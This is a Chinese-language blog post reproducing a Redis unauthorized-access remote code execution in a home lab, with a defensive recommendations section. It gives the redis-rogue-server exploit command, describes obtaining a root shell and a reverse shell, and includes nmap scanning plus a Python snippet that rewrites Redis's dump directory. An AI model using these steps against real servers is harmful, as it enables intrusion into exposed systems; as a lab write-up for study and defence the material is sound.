Redis RCE 反弹shell 漏洞复现

1 Redis简介

Redis是一个开源的使用ANSI C语言编写、支持网络、科技与内存也可以持久化的日志型、Key-Value数据库,并提供多种语言的API。

Redis在默认情况下,会绑定6379这个端口,如果服务器没有采用限制IP访问或在防火墙做策略,就会将Redis服务暴露在公网上,并且在没有设置密码认证的情况下(既然有密码也可进行爆破),会导致用户未授权访问,可能导致,SSH远程登录,写入webshell,交互式shell,反弹shell等操作。

2 影响版本

Redis 2.x,3.x,4.x,5.x

3 环境搭建和漏洞复现

靶机系统:ubuntu 20.04 LTS  ip:192.168.210.209

攻击机:kali linux ip: 192.168.146.128

3.1 安装Redis

使用下面的命令安装redis,我这里使用apt直接安装,安装的版本是5.0.7.

sudo apt install redis

3.2 修改redis.conf文件

我这里就是修改/etc/redis/redis.conf文件,首先关闭redis保护模式,将protected-mode修改为no,

然后修改bind,绑定到0.0.0.0

这里需要注意的是,bind不是绑定外部服务器,二十绑定本机可以接受连接的网卡地址,默认绑定127.0.0.1,只能够本地访问,改动后服务器上任意网卡地址都可以访问。

3.3 启动redis服务

sudo /usr/bin/redis-server /etc/redis/redis.conf

3.4 exp

我们这里使用github上的一个exp,链接地址如下:

https://github.com/n0b0dyCN/redis-rogue-server

用法:

python redis-rogue-server.py --rhost 127.0.0.1 --rport 6379 --lhost 127.0.0.1 --exp exp.so
  • rhost:这里是远程redis服务所在的地址
  • rport为redis服务端口,
  • lhost:本地地址
  • exp:而已so文件

 

这里可以看到,这里的redis确实有漏洞,我们可以获取一个实时的shell或者获取反弹shell。我们在这里先获取一个实时的shell,只需要输入i即可。

我们这杨就获取到了root权限的shell,接下来尝试获取反弹shell。

我们看到在这里输入反弹ip和端口后,就可以反弹shell到我们的攻击机上,同样获取到的是root权限。

4 建议

  1. 限制登录IP,不要修改bind 为0.0.0.0.
  2. 添加密码访问。
  3. 打开redis保护模式。
  4. 修改默认端口。

 

 

 

 

 

### Redis 未授权访问漏洞复现步骤 对于 Redis 未授权访问漏洞复现,可以按照以下方法进行操作: #### 配置环境准备 为了模拟真实的攻击场景并测试安全措施的有效性,需先搭建一个实验环境。确保所使用的 Redis 实例处于隔离环境中,以免造成实际生产系统的风险。 #### 设置无认证模式下的 Redis 服务 默认情况下,如果 Redis 安装完成后没有配置 `requirepass` 参数,则任何客户端都可以连接到该实例而无需提供密码验证[^3]。 ```bash # 查看当前配置状态 cat /usr/local/redis/6379.conf | grep requirepass ``` 当发现上述命令返回为空时,意味着此时 Redis 正运行于开放状态下,允许任意 IP 地址发起请求。 #### 利用工具探测目标主机上的 Redis 状态 通过 nmap 或者其他网络扫描器来检测远程机器上是否存在暴露在外网端口为 6379 的 Redis 数据库实例,并尝试与其建立连接。 ```bash nmap -p 6379 <target_ip> ``` 一旦确认存在这样的情况,就可以利用 Python 脚本或者其他编程语言编写简单的程序去读取或写入数据至数据库内。 #### 执行恶意指令 假设已经成功连上了这台脆弱的服务端设备,那么攻击者便能执行诸如获取键值对、修改配置甚至是发送 shutdown 关闭服务器等危险动作[^2]。 ```python import redis r = redis.Redis(host='<target_ip>', port=6379, db=0) print(r.get('some_key')) # 获取某个 key 对应 value r.set('new_key', 'value') # 插入新的记录 r.config_set('dir', '/tmp/') # 更改工作目录以便后续保存 RDB 文件 r.save() # 强制立即持久化内存中的数据集到磁盘 ``` 以上就是关于 Redis 未授权访问漏洞的一个简单重现过程描述。值得注意的是,在真实世界里实施此类行为属于非法入侵计算机信息系统罪,请务必仅限于合法合规的学习研究用途之内。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值